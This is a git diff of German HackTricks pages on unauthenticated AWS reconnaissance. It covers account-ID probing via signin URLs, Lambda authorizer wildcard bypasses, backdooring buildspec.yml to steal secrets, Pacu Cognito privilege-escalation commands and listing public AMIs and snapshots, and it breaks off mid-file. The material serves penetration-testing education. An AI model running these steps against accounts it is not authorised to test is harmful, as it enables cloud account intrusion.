-curl -v https://vodafone-uk2.signin.aws.amazon.com
-```
-Du kannst [diesen Prozess mit diesem Tool automatisieren](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
-
-### OSINT
-
-Suche nach URLs, die `<alias>.signin.aws.amazon.com` mit einem **Alias, der mit der Organisation verbunden ist,** enthalten.
-
-### Marketplace
-
-Wenn ein Anbieter **Instanzen im Marketplace hat,** kannst du die Besitzer-ID (Konto-ID) des AWS-Kontos, das er verwendet hat, erhalten.
-
-### Snapshots
-
-- Öffentliche EBS-Snapshots (EC2 -> Snapshots -> Öffentliche Snapshots)
-- RDS-öffentliche Snapshots (RDS -> Snapshots -> Alle öffentlichen Snapshots)
-- Öffentliche AMIs (EC2 -> AMIs -> Öffentliche Bilder)
-
-### Fehler
-
-Viele AWS-Fehlermeldungen (sogar Zugriff verweigert) geben diese Informationen preis.
-
-## References
-
-- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..aade0df14
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
@@ -0,0 +1,43 @@
+# AWS - Accounts Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Konto-IDs
+
+Wenn du ein Ziel hast, gibt es Möglichkeiten, Konto-IDs von mit dem Ziel verbundenen Konten zu identifizieren.
+
+### Brute-Force
+
+Du erstellst eine Liste potenzieller Konto-IDs und Aliase und prüfst diese.
+```bash
+# Check if an account ID exists
+curl -v https://<acount_id>.signin.aws.amazon.com
+## If response is 404 it doesn't, if 200, it exists
+## It also works from account aliases
+curl -v https://vodafone-uk2.signin.aws.amazon.com
+```
+Sie können [diesen Prozess mit diesem Tool automatisieren](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
+
+### OSINT
+
+Suchen Sie nach URLs, die `<alias>.signin.aws.amazon.com` enthalten, mit einem **Alias, der zur Organisation gehört**.
+
+### Marketplace
+
+Wenn ein Anbieter **Instanzen im Marketplace** hat, können Sie die Owner-ID (Account-ID) des AWS-Kontos erhalten, das er verwendet hat.
+
+### Snapshots
+
+- Öffentliche EBS-Snapshots (EC2 -> Snapshots -> Public Snapshots)
+- Öffentliche RDS-Snapshots (RDS -> Snapshots -> All Public Snapshots)
+- Öffentliche AMIs (EC2 -> AMIs -> Public images)
+
+### Fehler
+
+Viele AWS-Fehlermeldungen (selbst "access denied") liefern diese Informationen.
+
+## Referenzen
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
deleted file mode 100644
index 2b6eb95a6..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - API Gateway Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### API Invoke Bypass
-
-Laut dem Vortrag [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) können Lambda Authorizers **mit IAM-Syntax** konfiguriert werden, um Berechtigungen zum Aufrufen von API-Endpunkten zu gewähren. Dies stammt [**aus den Dokumenten**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Permission",
-"Action": ["execute-api:Execution-operation"],
-"Resource": [
-"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-]
-}
-]
-}
-```
-Das Problem mit dieser Methode, Berechtigungen zum Aufrufen von Endpunkten zu erteilen, ist, dass das **"\*" "alles" impliziert** und **keine weiteren Regex-Syntax unterstützt** wird.
-
-Einige Beispiele:
-
-- Eine Regel wie `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, um jedem Benutzer Zugriff auf `/dashboard/user/{username}` zu gewähren, gibt ihnen auch Zugriff auf andere Routen wie `/admin/dashboard/createAdmin`, zum Beispiel.
-
-> [!WARNING]
-> Beachten Sie, dass **"\*" nicht aufhört, sich mit Schrägstrichen zu erweitern**, daher könnte die Verwendung von "\*" im api-id beispielsweise auch "irgendeine Stufe" oder "irgendeine Methode" anzeigen, solange der endgültige Regex weiterhin gültig ist.\
-> Daher kann `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> eine POST-Anfrage an die Teststufe zum Pfad `/prod/GET/dashboard/admin` validieren, zum Beispiel.
-
-Sie sollten immer klar haben, was Sie erlauben möchten, und dann überprüfen, ob andere Szenarien mit den erteilten Berechtigungen möglich sind.
-
-Für weitere Informationen, abgesehen von den [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), finden Sie Code zur Implementierung von Authorizern in [**diesem offiziellen aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
-
-### IAM Policy Injection
-
-In der gleichen [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) wird das Faktum angesprochen, dass, wenn der Code **Benutzereingaben** verwendet, um **die IAM-Richtlinien zu generieren**, Wildcards (und andere wie "." oder spezifische Strings) dort enthalten sein können, mit dem Ziel, **Einschränkungen zu umgehen**.
-
-### Öffentliches URL-Template
-```
-https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
-```
-### Konto-ID von öffentlicher API-Gateway-URL abrufen
-
-Genau wie bei S3-Buckets, Data Exchange und Lambda-URLs-Gateways ist es möglich, die Konto-ID eines Kontos zu finden, indem man den **`aws:ResourceAccount`** **Policy Condition Key** von einer öffentlichen API-Gateway-URL ausnutzt. Dies geschieht, indem man die Konto-ID Zeichen für Zeichen findet und Wildcards im **`aws:ResourceAccount`**-Abschnitt der Richtlinie ausnutzt.\
-Diese Technik ermöglicht es auch, **Werte von Tags** abzurufen, wenn man den Tag-Schlüssel kennt (es gibt einige standardmäßige interessante).
-
-Weitere Informationen finden Sie in der [**originalen Forschung**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) und dem Tool [**conditional-love**](https://github.com/plerionhq/conditional-love/), um diese Ausnutzung zu automatisieren.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
new file mode 100644
index 000000000..ca038cfb5
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
@@ -0,0 +1,53 @@
+# AWS - API Gateway Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### API Invoke bypass
+
+Dem Vortrag [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) zufolge können Lambda Authorizers mithilfe der IAM-Syntax so konfiguriert werden, dass sie Berechtigungen zum Aufrufen von API endpoints erteilen. Dies ist [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Permission",
+"Action": ["execute-api:Execution-operation"],
+"Resource": [
+"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+]
+}
+]
+}
+```
+The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
+
+Einige Beispiele:
+
+- Eine Regel wie `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*`, die jedem Benutzer Zugriff auf `/dashboard/user/{username}` geben soll, würde ihm zum Beispiel auch Zugriff auf andere Routen wie `/admin/dashboard/createAdmin` gewähren.
+
+> [!WARNING]
+> Beachte, dass **"\*" bei Slashes nicht aufhört zu expandieren**, daher, wenn du "\*" z. B. im api-id verwendest, könnte es auch "jede Stage" oder "jede Methode" bedeuten, solange das finale Regex noch gültig ist.\
+> Also `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> Kann z. B. eine POST-Anfrage an die Stage test für den Pfad `/prod/GET/dashboard/admin` validieren.
+
+Du solltest immer genau wissen, worauf du Zugriff gewähren willst, und dann prüfen, ob mit den erteilten Berechtigungen andere Szenarien möglich sind.
+
+Für mehr Infos, abgesehen von den [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), findest du Code zur Implementierung von Authorizern in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+
+### IAM Policy Injection
+
+In demselben [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) wird gezeigt, dass, wenn der Code **Benutzereingaben** verwendet, um **die IAM-Policies zu generieren**, Wildcards (und andere wie "." oder spezifische Strings) dort eingeschleust werden können, mit dem Ziel, **Einschränkungen zu umgehen**.
+
+### Öffentliches URL-Template
+```
+https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
+```
+### Account-ID von einer öffentlichen API Gateway-URL erhalten
+
+Wie bei S3 buckets, Data Exchange und Lambda URLs gateways ist es möglich, die Account-ID eines Kontos auszulesen, indem man den **`aws:ResourceAccount`** **Policy Condition Key** von einer öffentlichen API Gateway-URL missbraucht.\
+Dies geschieht, indem man die Account-ID Zeichen für Zeichen ermittelt und Wildcards im **`aws:ResourceAccount`**-Abschnitt der Policy ausnutzt.\
+Mit dieser Technik lassen sich auch **Werte von Tags** auslesen, wenn man den Tag-Key kennt (es gibt einige voreingestellte, interessante).
+
+Weitere Informationen finden Sie in der [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) und im Tool [**conditional-love**](https://github.com/plerionhq/conditional-love/) zur Automatisierung dieser Ausnutzung.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
deleted file mode 100644
index 60e4e1808..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Cloudfront Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Öffentliches URL-Template
-```
-https://{random_id}.cloudfront.net
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
new file mode 100644
index 000000000..038983448
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Cloudfront Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Öffentliche URL-Vorlage
+```
+https://{random_id}.cloudfront.net
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
deleted file mode 100644
index 03221b3b0..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - CodeBuild Unauthenticated Access
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CodeBuild
-
-Für weitere Informationen siehe diese Seite:
-
-{{#ref}}
-../aws-services/aws-codebuild-enum.md
-{{#endref}}
-
-### buildspec.yml
-
-Wenn Sie Schreibzugriff auf ein Repository mit einer Datei namens **`buildspec.yml`** erlangen, könnten Sie diese Datei **backdoor** und die **Befehle, die innerhalb eines CodeBuild-Projekts ausgeführt werden sollen**, spezifizieren sowie die Geheimnisse exfiltrieren, was durchgeführt wird, und auch die **CodeBuild IAM-Rollenanmeldeinformationen** gefährden.
-
-Beachten Sie, dass selbst wenn es keine **`buildspec.yml`**-Datei gibt, Sie aber wissen, dass Codebuild verwendet wird (oder ein anderes CI/CD), das **Ändern von legitimen Code**, der ausgeführt werden soll, Ihnen ebenfalls beispielsweise eine Reverse-Shell verschaffen kann.
-
-Für einige verwandte Informationen könnten Sie die Seite über den Angriff auf Github Actions (ähnlich wie diese) überprüfen:
-
-{{#ref}}
-../../../pentesting-ci-cd/github-security/abusing-github-actions/
-{{#endref}}
-
-## Selbstgehostete GitHub Actions-Runners in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
-
-Wie [**in den Dokumenten angegeben**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), ist es möglich, **CodeBuild** so zu konfigurieren, dass **selbstgehostete Github-Aktionen** ausgeführt werden, wenn ein Workflow in einem konfigurierten Github-Repo ausgelöst wird. Dies kann durch Überprüfung der CodeBuild-Projektkonfiguration erkannt werden, da der **`Event type`** enthalten sein muss: **`WORKFLOW_JOB_QUEUED`** und in einem Github-Workflow, da er einen **selbstgehosteten** Runner wie folgt auswählen wird:
-```bash
-runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
-```
-Diese neue Beziehung zwischen Github Actions und AWS schafft eine weitere Möglichkeit, AWS über Github zu kompromittieren, da der Code in Github in einem CodeBuild-Projekt mit einer angehängten IAM-Rolle ausgeführt wird.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
new file mode 100644
index 000000000..2ec346f88
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
@@ -0,0 +1,33 @@
+# AWS - CodeBuild Nicht authentifizierter Zugriff
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+Für weitere Informationen siehe diese Seite:
+
+{{#ref}}
+../../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### buildspec.yml
+
+Wenn Sie Schreibzugriff auf ein Repository erlangen, das eine Datei mit dem Namen **`buildspec.yml`** enthält, könnten Sie diese Datei **backdoor**n. Diese Datei legt die **Befehle fest, die innerhalb eines CodeBuild-Projekts ausgeführt werden** und kann genutzt werden, um Secrets zu exfiltrate, die ausgeführten Aktionen zu kompromittieren und außerdem die **CodeBuild IAM role credentials** zu kompromittieren.
+
+Beachten Sie, dass selbst wenn keine **`buildspec.yml`**-Datei vorhanden ist, aber bekannt ist, dass Codebuild (oder ein anderes CI/CD) verwendet wird, das **modifying some legit code**, das ausgeführt wird, beispielsweise ebenfalls eine reverse shell ermöglichen kann.
+
+Für verwandte Informationen können Sie die Seite zum Angreifen von GitHub Actions (ähnlich zu diesem Fall) lesen:
+
+{{#ref}}
+../../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+## Selbstgehostete GitHub Actions Runner in AWS CodeBuild <a href="#action-runner" id="action-runner"></a>
+
+Wie [**in der Dokumentation angegeben**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), ist es möglich, **CodeBuild** so zu konfigurieren, dass beim Auslösen eines Workflows in einem konfigurierten GitHub-Repository **self-hosted GitHub Actions** ausgeführt werden. Das lässt sich erkennen, indem man die CodeBuild-Projektkonfiguration prüft: der **`Event type`** muss **`WORKFLOW_JOB_QUEUED`** enthalten, und im GitHub-Workflow wird ein **self-hosted** Runner wie folgt ausgewählt:
+```bash
+runs-on: codebuild-<project-name>-${{ github.run_id }}-${{ github.run_attempt }}
+```
+Diese neue Beziehung zwischen Github Actions und AWS schafft einen weiteren Weg, AWS von Github aus zu kompromittieren, da der Code in Github in einem CodeBuild-Projekt mit einer angehängten IAM-Rolle ausgeführt wird.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
deleted file mode 100644
index f977073a0..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Cognito Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Unauthenticated Cognito
-
-Cognito ist ein AWS-Dienst, der Entwicklern ermöglicht, **ihren App-Nutzern Zugriff auf AWS-Dienste zu gewähren**. Entwickler gewähren **IAM-Rollen für authentifizierte Benutzer** in ihrer App (potenziell können sich Personen einfach anmelden) und sie können auch eine **IAM-Rolle für nicht authentifizierte Benutzer** gewähren.
-
-Für grundlegende Informationen über Cognito siehe:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### Identity Pool ID
-
-Identity Pools können **IAM-Rollen für nicht authentifizierte Benutzer** gewähren, die nur **die Identity Pool ID kennen** (was ziemlich häufig **zu finden** ist), und ein Angreifer mit diesen Informationen könnte versuchen, **auf diese IAM-Rolle zuzugreifen** und sie auszunutzen.\
-Darüber hinaus könnten IAM-Rollen auch **authentifizierten Benutzern** zugewiesen werden, die auf den Identity Pool zugreifen. Wenn ein Angreifer **einen Benutzer registrieren** kann oder bereits **Zugriff auf den Identitätsanbieter** hat, der im Identity Pool verwendet wird, könnte er auf die **IAM-Rolle zugreifen, die authentifizierten** Benutzern zugewiesen ist und deren Berechtigungen missbrauchen.
-
-[**Überprüfen Sie hier, wie das geht**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
-
-### User Pool ID
-
-Standardmäßig erlaubt Cognito, **neue Benutzer zu registrieren**. Die Möglichkeit, einen Benutzer zu registrieren, könnte Ihnen **Zugriff** auf die **unterliegende Anwendung** oder auf die **authentifizierte IAM-Zugriffsrolle eines Identity Pools** geben, der den Cognito User Pool als Identitätsanbieter akzeptiert. [**Überprüfen Sie hier, wie das geht**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
-
-### Pacu-Module für Pentesting und Enumeration
-
-[Pacu](https://github.com/RhinoSecurityLabs/pacu), das AWS-Exploitation-Framework, umfasst jetzt die Module "cognito\_\_enum" und "cognito\_\_attack", die die Enumeration aller Cognito-Ressourcen in einem Konto automatisieren und schwache Konfigurationen, Benutzerattribute, die für die Zugriffskontrolle verwendet werden, usw. kennzeichnen, sowie die Benutzererstellung (einschließlich MFA-Unterstützung) und Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, verwendbaren Identitätspool-Anmeldeinformationen, übernehmbaren Rollen in ID-Token usw. automatisieren.
-
-Für eine Beschreibung der Funktionen der Module siehe Teil 2 des [Blogbeitrags](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite von [Pacu](https://github.com/RhinoSecurityLabs/pacu).
-
-#### Nutzung
-
-Beispiel für die Nutzung von `cognito__attack`, um die Benutzererstellung und alle Privilegieneskalationsvektoren gegen einen bestimmten Identity Pool und Benutzerpool-Client zu versuchen:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-Beispiel für die Verwendung von cognito\_\_enum, um alle Benutzerpools, Benutzerpool-Clients, Identitätspools, Benutzer usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
new file mode 100644
index 000000000..4d6a15d8c
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
@@ -0,0 +1,44 @@
+# AWS - Cognito Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Unauthenticated Cognito
+
+Cognito ist ein AWS-Dienst, der Entwicklern ermöglicht, ihren App-Nutzern Zugriff auf AWS-Services zu gewähren. Entwickler werden in ihrer App **IAM roles an authentifizierte Nutzer** vergeben (potenziell können sich Personen einfach registrieren) und sie können auch eine **IAM role an nicht-authentifizierte Nutzer** vergeben.
+
+Für grundlegende Informationen zu Cognito siehe:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool ID
+
+Identity Pools können **IAM roles an nicht-authentifizierte Nutzer** vergeben, die lediglich die **Identity Pool ID kennen** (was recht häufig **gefunden** wird), und ein Angreifer mit dieser Information könnte versuchen, **auf diese IAM role zuzugreifen** und sie auszunutzen.\
+Außerdem können IAM roles auch **authentifizierten Nutzern** zugewiesen werden, die auf den Identity Pool zugreifen. Wenn ein Angreifer **einen Nutzer registrieren kann** oder bereits **Zugriff auf den Identity Provider** hat, der im Identity Pool verwendet wird, könnte er auf die **IAM role, die authentifizierten Nutzern gegeben wird**, zugreifen und deren Berechtigungen missbrauchen.
+
+[**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md).
+
+### User Pool ID
+
+Standardmäßig erlaubt Cognito die **Registrierung neuer Nutzer**. Die Möglichkeit, einen Nutzer zu registrieren, kann Ihnen **Zugriff** auf die **zugrundeliegende Anwendung** oder auf die **authentifizierte IAM access role eines Identity Pools** verschaffen, der den Cognito User Pool als Identity Provider akzeptiert. [**Check how to do that here**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+
+### Pacu modules for pentesting and enumeration
+
+Pacu (https://github.com/RhinoSecurityLabs/pacu), das AWS exploitation framework, enthält jetzt die Module "cognito__enum" und "cognito__attack", die die Enumeration aller Cognito-Ressourcen in einem Account automatisieren und schwache Konfigurationen, für Zugriffskontrolle verwendete Benutzerattribute usw. markieren. Sie automatisieren außerdem die Benutzererstellung (inkl. MFA-Unterstützung) und Privilegieneskalation basierend auf modifizierbaren benutzerdefinierten Attributen, nutzbaren Identity Pool Credentials, annehmbaren Rollen in id tokens usw.
+
+Für eine Beschreibung der Funktionen der Module siehe Teil 2 des [Blogposts](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Für Installationsanweisungen siehe die Hauptseite von [Pacu](https://github.com/RhinoSecurityLabs/pacu).
+
+#### Usage
+
+Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+Beispielhafte Nutzung von cognito\_\_enum, um alle user pools, user pool clients, identity pools, users usw. zu sammeln, die im aktuellen AWS-Konto sichtbar sind:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
deleted file mode 100644
index 724376bd8..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - DocumentDB Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### Öffentliches URL-Template
-```
-<name>.cluster-<random>.<region>.docdb.amazonaws.com
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
new file mode 100644
index 000000000..295878d84
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - DocumentDB Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### Öffentliche URL-Vorlage
+```
+<name>.cluster-<random>.<region>.docdb.amazonaws.com
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
deleted file mode 100644
index e96bb0ca9..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# AWS - DynamoDB Unauthenticated Access
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Dynamo DB
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-Abgesehen davon, dass ich Zugriff auf alle AWS oder einige kompromittierte externe AWS-Konten gewähren kann, oder SQL-Injection in einer Anwendung habe, die mit DynamoDB kommuniziert, kenne ich keine weiteren Optionen, um auf AWS-Konten von DynamoDB aus zuzugreifen.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
new file mode 100644
index 000000000..6a732528f
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
@@ -0,0 +1,15 @@
+# AWS - DynamoDB Unauthentifizierter Zugriff
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Dynamo DB
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+Abgesehen davon, dass man vollständigen AWS-Zugriff gewährt oder Zugriff auf ein kompromittiertes externes AWS-Konto erhält, bzw. dass es SQL injections in einer Anwendung gibt, die mit DynamoDB kommuniziert, kenne ich keine weiteren Möglichkeiten, über DynamoDB auf AWS-Konten zuzugreifen.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
deleted file mode 100644
index 32f0261d4..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - EC2 Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2 & Verwandte Dienste
-
-Überprüfen Sie auf dieser Seite weitere Informationen dazu:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### Öffentliche Ports
-
-Es ist möglich, **irgendeinen Port der virtuellen Maschinen ins Internet zu exponieren**. Je nachdem, **was auf dem exponierten Port läuft**, könnte ein Angreifer dies ausnutzen.
-
-#### SSRF
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-### Öffentliche AMIs & EBS-Snapshots
-
-AWS erlaubt es, **jeden den Zugriff auf AMIs und Snapshots zu gewähren**. Sie können diese Ressourcen sehr einfach von Ihrem eigenen Konto aus auflisten:
-```bash
-# Public AMIs
-aws ec2 describe-images --executable-users all
-
-## Search AMI by ownerID
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
-
-## Search AMI by substr ("shared" in the example)
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `shared`) == `true`]'
-
-# Public EBS snapshots (hard-drive copies)
-aws ec2 describe-snapshots --restorable-by-user-ids all
-aws ec2 describe-snapshots --restorable-by-user-ids all | jq '.Snapshots[] | select(.OwnerId == "099720109477")'
-```
